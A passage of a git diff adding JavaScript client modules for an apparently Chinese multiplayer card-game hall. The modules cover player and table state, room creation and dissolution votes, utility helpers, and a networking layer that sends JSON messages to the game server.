+} +//申请解散房间 +if(typeof(Player.prototype.ApplyBreakRoom) == "undefined"){ + Player.prototype.ApplyBreakRoom = function(){ + this.state = 0;//玩家状态0->默认值 1->申请解散 2->同意解散 3->拒绝解散 + }; +} +//同意解散房间 +if(typeof(Player.prototype.AgreeBreakRoom) == "undefined"){ + Player.prototype.AgreeBreakRoom = function(){ + this.state = 1;//玩家状态0->默认值 1->申请解散 2->同意解散 3->拒绝解散 + }; +} +//拒绝解散房间 +if(typeof(Player.prototype.RefuseBreakRoom) == "undefined"){ + Player.prototype.RefuseBreakRoom = function(){ + this.state = 2;//玩家状态0->默认值 1->申请解散 2->同意解散 3->拒绝解散 + }; +} +//更改玩家是否可以直接退出 +if(typeof(Player.prototype.ChangeExit) == "undefined"){ + Player.prototype.ChangeExit = function(v){ + this.canexit = v; + switch(v){ + case 1: + if(this.status == 1){ + set_self(181,43,4,0,0); + }else{ + set_self(181,43,3,0,0); + } + + break; + case 0: + GameUI.hideExitBtn(); + set_self(181,43,1,0,0); + break; + } + }; +} +//更改玩家通话状态 +if(typeof(Player.prototype.phonestate) == "undefined"){ + Player.prototype.phonestate = function(state){ + state=Number(state); + C_Player.onstate=state; + var pobj=Desk.GetPlayerBySeat(C_Player.seat); + if(!pobj){return;} + pobj.onstate=state; + GameUI.SetOnState(C_Player.seat.seat,state); + switch(state){ + case 0://挂断 + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_hangup_phone(data); + break; + case 1://接起电话 + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_call_phone(data); + break; + case 2://电话进来 + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_call_phone(data); + break; + case 3://去电 + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_call_phone(data); + break; + } + }; +} +//更改玩家任务提醒状态 +if(typeof(Player.prototype.ChangeTaskstate) == "undefined"){ + Player.prototype.ChangeTaskstate = function(v){ + this.taskstate = v; + }; +} +//分享回调 +if(typeof(Player.prototype.sharesuccess) == "undefined"){ + Player.prototype.sharesuccess = function(success,type){ + + if(success==2 && type == 2){//分享成功 + var data={}; + data.agentid=GameData.AgentId; + data.playerid=this.playerid; + data.taskid=ConstVal.ShareTaskId; + Net.Send_player_finish_task(data); + + }else{ + //GameUI.OpenTips("分享失败!",ConstVal.Tips.time); + } + if(success == 2 && GameData.shareFrom == 1){//截图分享成功 + try{ + GameData.shareTimes++; + if(isArray(GameData.hallConfig.actData)){ + if(GameData.hallConfig.actData[1] == 0){//活动关闭 + return; + } + switch(GameData.activityType){// + case 1://大赢家 + if(GameData.shareTimes == 1){ + var sendUrl = GameData.hallConfig.actData[3]; + var event = 3; + Logic.sendToWeb2(sendUrl,event); + } + break; + } + } + //if(!isArray(GameData.hallConfig.activity)){// + + //return; + //}else{ + //if(GameData.hallConfig.activity.length>=5){ + //if(GameData.hallConfig.activity[4] == 0){ + //return; + //} + //} + //} + + //logmessage("大赢家截图分享成功!"+GameData.shareTimes+"、"+GameData.activityType,1); + //switch(GameData.activityType){// + //case 1://大赢家 + //if(GameData.shareTimes == 1){ + //var sendUrl = "http://discount.0791ts.cn/api/add_game_times"; + //var actId = 1; + + //if(GameData.hallConfig.activity.length > 5){ + //sendUrl = GameData.hallConfig.activity[6]; + //actId = GameData.hallConfig.activity[7]; + //} + //Logic.sendToWeb(sendUrl,actId); + //} + //break; + //} + }catch(e){ + + } + } + GameData.activityType = 0; + GameData.activityData = null; + + }; +} +//有 +if(typeof(Player.prototype.player_finish_task) == "undefined"){ + Player.prototype.player_finish_task = function(_msg){ + if(_msg.data.state==1 && C_Player.taskstate==0){ + C_Player.taskstate=1; + } + }; +} +//领取任务奖励 +if(typeof(Player.prototype.get_task_award) == "undefined"){ + Player.prototype.get_task_award = function(_msg){ + for(var i=0;i-1){//在房间内 + if(this.seat == GameData.infoSeat){ + set_self(3125,7,GameData.sysConfig.charmName+":"+count,0,0); + } + } + }; +} +//设置魅力值 +if(typeof(Player.prototype.setSign) == "undefined"){ + Player.prototype.setSign = function(sign){ + this.sign = sign; + GameUI.setSign(sign); + GameUI.closeTextInput(); + }; +} +if(typeof(Player.prototype.updateHallData) == "undefined"){ + Player.prototype.updateHallData = function(data){ + this.setSign(data.sign); + this.setRoomcard(data.roomcard); + this.update_bean2(data.bean); + }; +} +if(typeof(Player.prototype.returnHallData) == "undefined"){ + Player.prototype.returnHallData = function(data){ + var obj={}; + obj.sign = this.sign; + obj.roomcard = this.roomcard; + obj.bean = this.bean; + return obj; + }; +} + +//设置手机号 +if(typeof(Player.prototype.setTel) == "undefined"){ + Player.prototype.setTel = function(val){ + this.tel = val; + // set_self(3256,43,2,0,0); + // play_ani(0,3256,35,255,100,0,1000,0,0,0,0,0,1); + }; +} + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/07_Desk.js b/games/games/Projects/clinet/gamehall/js/00_Surface/07_Desk.js new file mode 100644 index 0000000..670ce82 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/07_Desk.js @@ -0,0 +1,1425 @@ + + +var Desk=Desk||{}; + +Desk.PlayerList=[];//玩家列表 +Desk.roomcode = "";//房间号 +Desk.stage=0;//牌桌阶段 0->未开局 1->已开局 +Desk.state=0;//牌桌解散状态 0->正常 1->申请解散状态 +Desk.applyresult=-1;//投票结果-1->无结果0->不通过1->通过 +Desk.AgreeList=[];//同意解散座位列表 +Desk.agreefree=[]; +Desk.roomtype = []; +Desk.warcnt=0;//开战条件 +Desk.playercnt=0;//玩家总数 +Desk.count=0;// 总局数 +Desk.deskfree=null; +Desk.starCount = 0;//投降扣除星星数量 +Desk.roomMode = 0;//0->普通场 1->星星场 +Desk.needprepare = 0;//是否需要准备 +Desk.myInfo = null;//自己的信息 +Desk.infinite = 0;//无限局 +Desk.isSystem = 1;//是否为系统房间 +Desk.shortcode = null;//房间短号 +Desk.videoConfig = null;//视频房选项 +Desk.ownerNotice = null;//短号房主留言 +Desk.videoDes = "";//视频房描述 +Desk.rebateNumber = 0;//房间抽成数量 +Desk.rebateMode = 0;//抽成类型 +Desk.rebateType = 0;//抽金币还是魅力值 +Desk.setMyInfo = function(_data){ + Desk.myInfo.seat = _data.seat; + Desk.myInfo.playerid=_data.playerid; + Desk.myInfo.nickname=_data.nickname; + Desk.myInfo.avatar=_data.avatar; + Desk.myInfo.sex=_data.sex; + Desk.myInfo.ip=_data.ip; + Desk.myInfo.onstate=_data.onstate; + Desk.myInfo.bean = _data.bean; + Desk.myInfo.initialBean = _data.bean;//玩家豆子初始值 + //Desk.myInfo.paycode = _data.paycode; +} +//设置vip房主公告 +Desk.setOwnerNotice = function(_value){ + if(_value){ + Desk.ownerNotice = _value; + } + +} +Desk.setRebateNumber = function(_value){ + if(_value){ + Desk.rebateNumber = _value; + } + +} +Desk.setRebateMode = function(_value){ + if(_value){ + Desk.rebateMode = _value; + } +} +Desk.setRebateType = function(_value){ + if(_value){ + Desk.rebateType = _value; + } +} +Desk.setStarCount = function(_value){ + Desk.starCount = _value; +} +Desk.setInfinite = function(_value){ + Desk.infinite = _value; + //Desk.infinite = 1; +} +Desk.setRoomMode = function(_value){ + Desk.roomMode = _value; +} +Desk.Create=function(roomtype){//创建牌桌 + this.PlayerList= []; + if(typeof Game_Modify.getMaxPlayerCount !== 'undefined'){ + this.PlayerList.length = Game_Modify.getMaxPlayerCount(roomtype); + }else{ + this.PlayerList.length = Game_Config.Max.PlayerCnt; + } + + for(var i=0;i无结果0->不通过1->通过 + this.roomcode = "";//房间号 + this.stage=0;//牌桌阶段 0->未开局 1->已开局 + this.state=0;//牌桌解散状态 0->正常 1->申请解散状态 + this.AgreeList=[];//同意解散座位列表 + Desk.deskfree=null; + Desk.starCount = 0;//投降扣除星星数量 + Desk.roomMode = 0;//0->普通场 1->星星场 + Desk.needprepare = 0;//是否需要准备 + Desk.infinite = 0;//无限局 + Desk.shortcode = null; + Desk.videoConfig = null;//视频房选项 + Desk.videoDes = "";//视频房描述 + Desk.ownerNotice = null;//短号房主留言 + Desk.rebateNumber = 0;//房间抽成数量 + Desk.rebateMode = 0;//抽成类型 + Desk.rebateType = 0;//抽金币还是魅力值 + //Desk.myInfo.Init();//自己的信息 +} +Desk.setRoom=function(roomcode,asetcount,roomtype){//设置房间号 + this.roomcode = roomcode; + this.count = asetcount; + this.roomtype = roomtype; + //Game_Modify.setRoomDes(roomcode,asetcount,roomtype); + //set_self(291,7,Game_Modify.roomDes,0,0); + + +} +Desk.GetPlayerBySeat=function(seat){ + return this.PlayerList[seat]; +} +Desk.change_seat = function(_msg){ + var pobj1 = Desk.GetPlayerBySeat(_msg.data.seat1); + var pobj2 = Desk.GetPlayerBySeat(_msg.data.seat2); + var info1 = pobj1.getDeskInfo(); + var info2 = pobj2.getDeskInfo(); + pobj1.SetDeskInfo(info2,true); + pobj2.SetDeskInfo(info1,true); + if(C_Player.seat == _msg.data.seat1){ + C_Player.SetSeat(_msg.data.seat2); + }else if(C_Player.seat == _msg.data.seat2){ + C_Player.SetSeat(_msg.data.seat1); + } + if(Game_Modify.changeSeat){ + Game_Modify.changeSeat(_msg.data.seat1,_msg.data.seat2); + } + if(Game_Config.sysConfig){ + if(!Game_Config.sysConfig.changeSeat){ + GameUI.updatePlayerInfoUI(); + } + }else{ + GameUI.updatePlayerInfoUI(); + } + +} +Desk.getPlayerIndexByPlayerid=function(_playerid){ + _playerid = Number(_playerid); + if(_playerid<0){return -1;} + for(var i=0;i-1){ + GameUI.openTips2(_msg.data.error); + }else{ + GameUI.OpenTips(_msg.data.error,ConstVal.Tips.time); + } + + } + if(_msg.data.state==99){ + Logic.removeRoomFromList(Number(_msg.data.roomcode)); + GameUI.updateNoticeBoard(); + } + break; + } + if(GameData.h5Version == 1){ + GameUI.closeCheck(); + GameData.isJoinRoomFromH5 = true; + } +} +Desk.self_break_room=function(_msg){//接收未开局之前房主自己解散房间 + GameData.shakeID = Game_Config.shakeList.nil; + Func.stopshake(); + Func.exitRoom(); + this.Init(); + if(_msg.data.roomcode){ + Logic.removeRoomFromList(Number(_msg.data.roomcode)); + //GameUI.updateNoticeBoard(); + } + C_Player.BreakRoom(); + GameUI.JumpMenuScene(); + Game_Modify.stopAllSounds(); + +} +Desk.other_break_room=function(_msg){//接收未开局之前他人房主解散房间 + Func.exitRoom(); + this.Init(); + C_Player.BreakRoom(); + Game_Modify.stopAllSounds(); + GameUI.JumpMenuScene(); + GameUI.OpenTips("房主已解散房间!",ConstVal.Tips.time); +} +Desk.other_join_room=function(_msg){//接收其他玩家加入房间 + var pobj=this.GetPlayerBySeat(_msg.data.seat); + pobj.SetDeskInfo(_msg.data); + if(typeof _msg.data.needprepare != "undefined"){ + this.needprepare = _msg.data.needprepare; + } + GameUI.PlayerJoinRoom(_msg.data.seat); + Game_Modify.playerJoinRoom(_msg.data.seat); + this.playercnt++; + GameUI.showStartButton(); + if(C_Player.status == 1 && this.playercnt == 2 && this.roomMode == 1 && this.infinite == 0 && this.stage == 0){ + //GameUI.showEscape();//set_self(513,37,1,0,0); + }else{ + //GameUI.hideEscape();//set_self(513,37,0,0,0); + if(GameData.checkType==3){ + GameUI.closeCheck(); + } + } + if(_msg.data.deskwar){ + this.makewar(_msg); + }else{ + + } +} +Desk.self_exit_room=function(_msg){//接收未开局之前自己退出房间 + var tmp = this.infinite; + if(this.stage==1){ + Game_Modify.breakRoom(); + } + Func.exitRoom(); + if(typeof(_msg.data.isowner)!="undefined"){ + if(_msg.data.isowner == 1 && this.infinite == 0){ + Logic.addRoomToList(Number(_msg.data.roomcode)); + //GameUI.updateNoticeBoard(); + } + } + if(Game_Modify.myExitRoom){ + Game_Modify.myExitRoom(_msg.data.seat); + } + this.Init(); + + C_Player.BreakRoom(); + GameUI.JumpMenuScene(); + Game_Modify.stopAllSounds(); + if(tmp && GameData.hallConfig.worldRoomList && !Game_Config.sysConfig.vipInfinite){ + if(GameData.worldRoomSys.length > 0){ + GameUI.openWorldRoom(); + }else{ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_get_share_room(data); + } + } +} +Desk.other_exit_room=function(_msg){//接收未开局之前其他玩家退出房间 + var pobj=this.GetPlayerBySeat(_msg.data.seat); + pobj.Init(false); + this.playercnt--; + GameUI.showStartButton(); + if(C_Player.status == 1 && this.playercnt == 2 && this.roomMode == 1 && this.infinite == 0 && this.stage == 0){ + //GameUI.showEscape();//set_self(513,37,1,0,0); + }else{ + //GameUI.hideEscape();//set_self(513,37,0,0,0); + if(GameData.checkType==3){ + GameUI.closeCheck(); + } + } + if(_msg.data.seat == 0 && this.infinite == 0){ + GameUI.OpenTips("房主已经离开,新进入房间的玩家成为新房主,您也可重进房间成为房主"); + } + Game_Modify.playerLeaveRoom(_msg.data.seat); + GameUI.PlayerLeaveRoom(_msg.data.seat); +} +Desk.self_apply_free_room=function(_msg){//接收开局之后自己申请解散房间 + C_Player.ApplyBreakRoom(); + this.state=1; + this.GetPlayerBySeat(C_Player.seat).ApplyBreakRoom(); + this.agreefree=_msg.data.agreefree.state; + for(var i=0;i-1){ + var r_data = _array.splice(index,1); + return r_data; + }else{ + return null; + } +} +Utl.ClearStorage=function(){ + storage.clear(); +} +//对象克隆 +Utl.clone = function(myObj){ + if(typeof(myObj) != 'object') return myObj; + if(myObj == null) return myObj; + + var myNewObj = new Object(); + + for(var i in myObj) + myNewObj[i] = Utl.clone(myObj[i]); + + return myNewObj; +} +Utl.getMyInfo=function(){//获取玩家自身信息 + var obj_return = Utl.clone(C_Player); + return obj_return; +} + +Utl.setGrade=function(seat,grade){//设置游戏主界面玩家积分信息 + var ind=Logic.ChangeToStatus(C_Player.seat,seat); + set_self(436+ind,7,grade,0,0); + if(ind==0){ + if(Game_Config.Info.myPositionDefault){ + set_self(436+ind,18,get_self(376+ind,18,0,0,0) + get_self(376+ind,20,0,0,0)/2 - String(grade).gblen()*Game_Config.Info.textwidth_2/2,0,0); + }else{ + set_self(436+ind,18,Game_Config.Info.myPosition - String(grade).gblen()*Game_Config.Info.textwidth_2/2,0,0); + } + }else{ + if(Game_Config.Info.otherPositionDefault){ + set_self(436+ind,18,get_self(376+ind,18,0,0,0) + get_self(376+ind,20,0,0,0)/2 - String(grade).gblen()*Game_Config.Info.textwidth_2/2,0,0); + }else{ + set_self(436+ind,18,Game_Config.Info.position[ind-1] - String(grade).gblen()*Game_Config.Info.textwidth_2/2,0,0); + } + } +} + +//播放背景音乐 +Utl.playMusic=function(){ + if(Utl.ReadData(Utl.Config.bgm)==1){ + if(get_self(149,37,0,0,0)==1){//游戏界面中 + Func.play_wav(Game_Config.soundList.MenuSceneMusic,-1); + //Func.play_wav(Game_Config.soundList.MainSceneMusic,-1); + Func.play_wav(Game_Config.soundList.MainSceneMusic,1); + }else if(get_self(4,37,0,0,0)){ + Func.play_wav(Game_Config.soundList.MainSceneMusic,-1); + //Func.play_wav(Game_Config.soundList.MenuSceneMusic,-1); + Func.play_wav(Game_Config.soundList.MenuSceneMusic,1); + } + } +} +//播放音效 +Utl.playSound=function(src){ + if(Utl.ReadData(Utl.Config.sound)==1){ + Func.play_wav(src,0); + } +} +//停止播放背景音乐 +Utl.stopMusic=function(){ + Func.play_wav(Game_Config.soundList.MainSceneMusic,-1); + Func.play_wav(Game_Config.soundList.MenuSceneMusic,-1); + +} +//停止播放音效 +Utl.stopSound=function(src){ + Func.play_wav(src,-1); +} +//获取游戏ID +Utl.getGameID=function(){ + return GameData.GameId; +} +//获取代理商ID +Utl.getAgentID=function(){ + return GameData.AgentId; +} +//获取房间内某个座位玩家的playerid +Utl.getPlayeridBySeat=function(seat){ + var pobj=Desk.GetPlayerBySeat(seat); + return pobj.playerid; +} +//获取房间内某个座位的玩家昵称 +Utl.getNicknameBySeat=function(seat){ + var pobj=Desk.GetPlayerBySeat(seat); + return pobj.nickname; +} +//获取房间内某个座位的玩家性别 2为女性,其他都认为是男性 +Utl.getSexBySeat=function(seat){ + var pobj=Desk.GetPlayerBySeat(seat); + return pobj.sex; +} +//获取玩家playerid +Utl.getMyPlayerid=function(){ + return C_Player.playerid; +} +//获取玩家playerid +Utl.getMySex=function(){ + return C_Player.sex; +} +//获得房间号 +Utl.getRoomcode=function(){ + //if(Desk.shortcode){ + //return Desk.shortcode; + //} + return Desk.roomcode; +} +//获取玩家座位号 +Utl.getMySeat=function(){ + return C_Player.seat; +} +//玩家退出房间 +Utl.Exit=function(){ + var tmp = Desk.infinite; + //Func.exitRoom(); + Desk.Init(); + C_Player.BreakRoom(); + GameUI.JumpMenuScene(true); + //if(GameData.matchInfo){ + //GameData.matchInfo = null; + //Utl.openMatchUrl(); + //} + if(tmp && GameData.hallConfig.worldRoomList){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_get_share_room(data); + } +} +//设置LocalData +Utl.setCookie=function(name, value, exp_hour) { + if (!exp_hour) { + exp_hour = 48; //默认时效48小时 + } + var exp = new Date(); + Utl.SaveData(Utl.Config.validtime,exp.getTime() + exp_hour*60*60*1000); + Utl.SaveData(name,value); +} + +//读取LocalData +Utl.getCookie=function(name) { + if(GameData.versionState == 0){ + var vt=Utl.ReadData(Utl.Config.validtime); + if(vt==null){ + return null; + } + var exp = new Date().getTime(); + if(exp < vt){// + return Utl.ReadData(name); + }else{ + return null; + } + }else{ + return Utl.ReadData(name); + } +} + +//删除LocalData +Utl.delCookie=function(name) { + Utl.RemoveItemByKey(Utl.Config.validtime); + Utl.RemoveItemByKey(name); +} +Utl.getAppService=function(){//ture为前台状态 false、为后台状态 + return GameData.appservice; +} + +//关闭所有窗口 +Utl.closeWindow=function(){ + GameUI.CloseSetting(); + set_group(29,37,0,0,0); + set_self(223,37,0,0,0); + GameUI.CloseInfo(); + GameUI.CloseChat(); + set_self(38,37,0,0,0); + set_self(39,37,0,0,0); + GameUI.CloseHelp(); +} +Utl.changeToStatus = function(seat){//将座位转化为方位(以自己为原点0,逆时针旋转依次往上加) + return Logic.ChangeToStatus(C_Player.seat,seat); +} + +Utl.isMainScene = function(){//获取是否在游戏主界面 + var rt = get_self(149,37,0,0,0); + if(rt==1){ + return true; + } + return false; +} + +Utl.getMyOpenid = function(){//获取玩家openid + return C_Player.openid; +} +Utl.getOnState = function(status){//获取玩家状态 + return GameUI.onstate[status];//1-->离线 2-->通话 其他正常 +} +Utl.saveRoomtype = function(_data){//保存创建房间时的房间类型 + var rt={}; + rt.data = _data; + rt = JSON.stringify(rt); + Utl.SaveData(Utl.Config.roomtype,rt); +} +Utl.getRoomtype = function(){//获取上次创建的房间类型 + var roomty = Utl.ReadData(Utl.Config.roomtype); + if(roomty){ + roomty = JSON.parse(roomty); + //if(Game_Config.Max.SumOfRoomtype!=roomty.data.length){ + //Utl.SaveData(Utl.Config.roomtype,""); + //return null; + //}else{ + return roomty.data; + //} + + } + return null; +} +Utl.delRoomtype = function(){//删除房间类型 + Utl.RemoveItemByKey(Utl.Config.roomtype); +} +//获得计算器计算结果(传入需要计算的数组) +Utl.getMultipleResult = function(inputArr){ + var mult = 1; + GameData.OrgArr = [].concat(inputArr); + if(Utl.checkKey(Utl.Config.multiple)){ + var rd = Utl.ReadData(Utl.Config.multiple); + if(GameUI.checkNumber(rd)){ + var rt = Number(rd); + if(rt>0){ + mult = rt; + }else{ + Utl.SaveData(Utl.Config.multiple,"1"); + } + }else{ + Utl.SaveData(Utl.Config.multiple,"1"); + } + }else{ + Utl.SaveData(Utl.Config.multiple,"1"); + } + var rtarr = []; + rtarr.length = inputArr.length; + for(var i=0;i不可以1->可以 + if(Desk.infinite == 1){C_Player.ChangeExit(1);return;} + C_Player.ChangeExit(state); +} +Utl.getGameConfig = function(){//获取游戏配置 + return GameData.gameConfig; +} +/* +{"address":"江西省南昌市青云谱区施尧路靠近上海浦东发展银行(长天支行)","city":"南昌市", +"cityCode":"0791","country":"中国","district":"青云谱区","latitude":28.623546,"longitude":115.900333, +"province":"江西省","street":"施尧路"}*/ +Utl.getLocation = function(){//获取玩家定位信息 + if(C_Player.addr){ + return Utl.clone(C_Player.addr); + }else{ + return null; + } +} +Utl.getMathInfo = function(){ + return Utl.clone(GameData.matchInfo); +} +Utl.getIsMathInfo = function(){ + if(Utl.clone(GameData.matchInfo)){ + return true; + } + return false; +} +Utl.getInfMode = function(){ + return GameData.infMode; +} +Utl.changeBean = function(_bean,seat){ + var ind = Logic.ChangeToStatus(C_Player.seat,seat); + var pobj=Desk.GetPlayerBySeat(seat); + pobj.bean = pobj.initialBean + _bean; + var beanInfo = pobj.bean; + pobj = null; + if(get_self(216,37,0,0,0) == 1 && GameData.infoSeat == seat){ + set_self(511,7,GameData.starName+":"+beanInfo,0,0); + } + //switch(ind){ + //case 0: + //C_Player.changeBean(_bean); + //break; + //default: + //if(get_self(216,37,0,0,0) == 1 && GameData.infoSeat == seat){ + //set_self(511,7,GameData.starName+":"+beanInfo,0,0); + //} + //break; + //} + +} +//关闭邀请显示 +Utl.closeInvitation = function(){ + set_self(183,37,0,0,0); + set_self(195,37,0,0,0); +} +//关闭互动显示 +Utl.closeCommunication = function(type){ + set_self(152,37,0,0,0); + if(!type){ + set_self(153,37,0,0,0); + } +} +//跳转比赛网页 +Utl.openMatchUrl = function(){ + if(ConstVal.isGameHall){return;} + if(GameData.backUrl){ + Func.OpenurlTitleData(GameData.backUrl,"",""); + GameData.backUrl = ""; + } +} +//牌局回放进入主界面 +Utl.openVideo = function(_playerList,_seat,_roomcode,roomtype){ + /* + _playerList 格式: [[昵称,头像],[]...] + */ + if(roomtype){Desk.roomtype = roomtype;} + Logic.updateMainSceneData(roomtype); + for(var i=0;i<_playerList.length;i++){ + if(_playerList[i]){ + var pobj=Desk.GetPlayerBySeat(i); + //pobj.SetDeskInfo(_playerList[i]); + pobj.nickname = _playerList[i][0]; + pobj.avatar = _playerList[i][1]; + pobj = null; + } + } + C_Player.seat = _seat; + Desk.roomcode = _roomcode; + //GameUI.HideNotice(); + //GameData.Battery=Func.getbattery(); + GameData.Battery = 1; + if(GameData.Battery<=0.2){ + set_self(338,43,3,0,0); + }else{ + set_self(338,43,2,0,0); + } + //GameData.NetWork=Func.getnetwork(); + GameData.NetWork = 1; + if(GameData.NetWork==2){ + set_self(336,43,3,0,0); + Func.getwifisignalLevel(); + }else{ + set_self(336,43,4,0,0); + } + if(GameData.OS == ConstVal.OS.apple){//苹果 + set_self(154,1,174,0,0); + set_self(155,1,174,0,0); + set_self(156,1,173,0,0); + }else {//安卓 + set_self(154,1,69,0,0); + set_self(155,1,69,0,0); + set_self(156,1,70,0,0); + } + + + + set_group(21,37,1,0,0); + set_self(3115,37,0,0,0); + set_self(3116,37,0,0,0); + GameUI.updateSysNoticeCount2(); + set_self(150,37,0,0,0); + set_self(151,37,0,0,0); + set_self(152,37,0,0,0); + set_self(153,37,0,0,0); + set_self(107,37,0,0,0); + for(var i=0;i0有高级选项 +Utl.getAdvanced = function(){ + return C_Player.advanced; +} +//获取游戏是否为审核版本(0非审核1审核) +Utl.getVersionState = function(){ + return GameData.versionState; +} +//获取游戏是否为h5版本(0->非h51->h5) +Utl.getH5Version = function(){ + return GameData.h5Version; +} +//游戏结算时调用 +Utl.onGameFinished = function(inputArray,spidList){//结算信息[[昵称,输赢分数],.......] + if(!spidList){ + spidList=[]; + } + if(GameData.h5Version == 1){ + var title = ""; + var desc = ""; + if(inputArray.length>3){ + for(var i=0;i<5;i++){ + if(inputArray.length>i){ + if(i<2){ + title += inputArray[i][1]+":" +Func.subString(inputArray[i][0],24-String(inputArray[i][1]).length - 3,true) + "\n"; + }else{ + desc += inputArray[i][1] + ":" +Func.subString(inputArray[i][0],24-String(inputArray[i][1]).length - 3,true) +"\n"; + } + + } + } + }else{ + title = Game_Config.Share.title; + for(var i=0;i<3;i++){ + if(inputArray.length>i){ + desc += inputArray[i][1] + ":" +Func.subString(inputArray[i][0],24-String(inputArray[i][1]).length - 3,true) +"\n"; + } + } + } + GameData.shareAppMessage = Logic.getShareDataObj(title,desc); + GameData.shareTimeline = Logic.getShareDataObj1(Game_Config.Share.title+Game_Config.Share.description,""); + shareLink(GameData.shareTimeline,GameData.shareAppMessage); + for(var i=0;i= 0){ + rValue = "b"+rValue; + } + + return rValue; + }catch(e){ + console.log(e); + return 0; + } + +} + +Utl.openTextInput = function(msg,callFun,len){ + GameUI.openTextInput(msg,callFun,len); +} +Utl.sendText = function(text){ + try{ + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + data.type=0; + data.text = text; + Net.Send_send_text(data); + }catch(e){ + + } +} +//是否可以显示退出按钮 +Utl.getExitVisible = function(){ + if(Desk.infinite == 1){ + return true; + } + return false; +} +//是否可以显示换房按钮 +Utl.getChangeVisible = function(){ + if(Desk.infinite == 1 && !Desk.shortcode){ + return true; + } + return false; +} +//发送退出房间 +Utl.sendExitRoom = function(){ + var data={}; + data.agentid=GameData.AgentId; + data.gameid=GameData.GameId; + data.playerid=C_Player.playerid; + data.roomcode=Desk.roomcode; + Net.Send_self_exit_room(data); +} +//发送换房 +Utl.sendChangeRoom = function(){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = Desk.roomcode; + Net.Send_change_room(data); +} +//获取房间费范围 +Utl.getRebateRange = function(mult,mode){ + if(!GameData.sysConfig.rebateConfig){ + return [0,9999999]; + } + if(Game_Config.sysConfig.vipInfinite){ + return [0,9999999]; + } + if(mode){return [0,9999999];} + return [parseInt(mult * GameData.sysConfig.rebateConfig.value/100),9999999]; +} +//是否隐藏分享按钮 0->不隐藏 1-隐藏 +Utl.getShowShare = function(){ + return GameData.sysConfig.hideWxShare; +} + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/00_Surface/09_Net.js b/games/games/Projects/clinet/gamehall/js/00_Surface/09_Net.js new file mode 100644 index 0000000..c33d7e4 --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/00_Surface/09_Net.js @@ -0,0 +1,886 @@ +var Net = Net||{}; +Net.tcp = {}; +Net.tcp.isConnected = false;//已有连接连上 +Net.tcp.tcpIDAva = 1;//用过的ID的最大值 +Net.tcp.tcpIDList = [];//TCP ID列表 +Net.tcp.connectCount = 3;//同时最多连接个数 +Net.tcp.connectList = [];//tcp连接对象池 +Net.tcp.connect = function(_id,ws){ + +} +Net.ws_tcp; +Net._SendData = function(_app,_route,_rpc,_data){ + + var _msg = {}; + _msg.app = _app, + _msg.route = _route; + _msg.rpc = _rpc; + _msg.data = _data; + if(ConstVal.netType == 0){ + Net.ws_tcp.send(JSON.stringify(_msg)); + }else{ + var putMsg=''; + if(_msg.rpc == RpcList.player_login){putMsg="playerLogin"} + Func.AjaxHttp2(GameData.Server,_msg, + function(_msg,state,input_msg){ + console.log(_msg,state,input_msg); + if (typeof(_msg) == 'string') + { + _msg = JSON.parse(_msg); + } + if(_msg.route==RouteList.platform||_msg.route==RouteList.agent||_msg.route==RouteList.room){ + if(min_ExitsFunction(Net[_msg.rpc])){ + Net[_msg.rpc](_msg); + } + }else{ + Game_Modify._ReceiveData(_msg); + } + },function(_msg,state,input_msg){ + if(input_msg == "playerLogin"){ + GameUI.OpenTips("网络状况不好"); + + } + + },putMsg); + } + + if(Game_Config.Debugger.isDebugger){ + console.log("发送数据:"); + console.log(_msg); + } + +} + +Net.submit_error = function(_packet,_msg){ + //提交错误 + if(GameData.errorMsg != _msg){ + GameData.errorMsg = _msg; + }else { + return; + } + var msg = { + app:"youle", + route:"agent", + rpc:"submit_error", + data:{ + packet:_packet, + msg:_msg, + playerid:C_Player.playerid, + agentid:GameData.AgentId, + gameid:GameData.GameId, + } + } + try{ + Net.ws_tcp.send(JSON.stringify(msg)); + }catch(e){ + + } + +} +Net.submit_log = function(_packet,_msg){ + var msg = { + app:"youle", + route:"agent", + rpc:"submit_error", + data:{ + packet:_packet, + msg:_msg, + playerid:C_Player.playerid, + agentid:GameData.AgentId, + gameid:GameData.GameId + } + } + console.log(_packet); + console.log(_msg); + try{ + Net.ws_tcp.send(JSON.stringify(msg)); + }catch(e){ + + } +} + +//发送创建房间 +Net.Send_create_room = function(_data){ + GameUI.StartLoad(); + this._SendData(AppList.app,RouteList.agent,RpcList.create_room,_data); +} +//接收创建房间 +Net.create_room = function(_msg){ + //Logic.CreateRoom(_msg.data); + Desk.create_room(_msg); + GameUI.EndLoad(); + Game_Modify.createRoom(_msg.data.roomtype,_msg.data.infinite); + if(Game_Modify.onCreateRoom){ + Game_Modify.onCreateRoom(_msg.data); + } + +} +//发送登录请求 +Net.Send_login = function(_data){ + //console.log(returnCitySN); + if(typeof returnCitySN != "undefined"){ + _data.ip = returnCitySN.cip; + } + if(ConstVal.isGameHall){ + if(!GameData.hallLogin){ + return ; + } + } + _data.machineid = Logic.getMachineId(); + _data.machineroom = Utl.getRoomcode(); + //alert("进入Net.Send_login方法"); + GameUI.StartLoad(); + if(GameData.loginPlayerid){ + var _playerid = Logic.readPlayerId(); + if(_playerid){ + _data.playerid = _playerid; + } + } + GameData.loginList.push(GameData.TcpID); + //GameData.isChangeServer = false; + //if(ConstVal.netType == 0){ + GameData.isSendLoginState = true; + GameData.sendLoginTimes++; + + if(!ConstVal.isGameHall){ + if(GameData.sendLoginTimer == 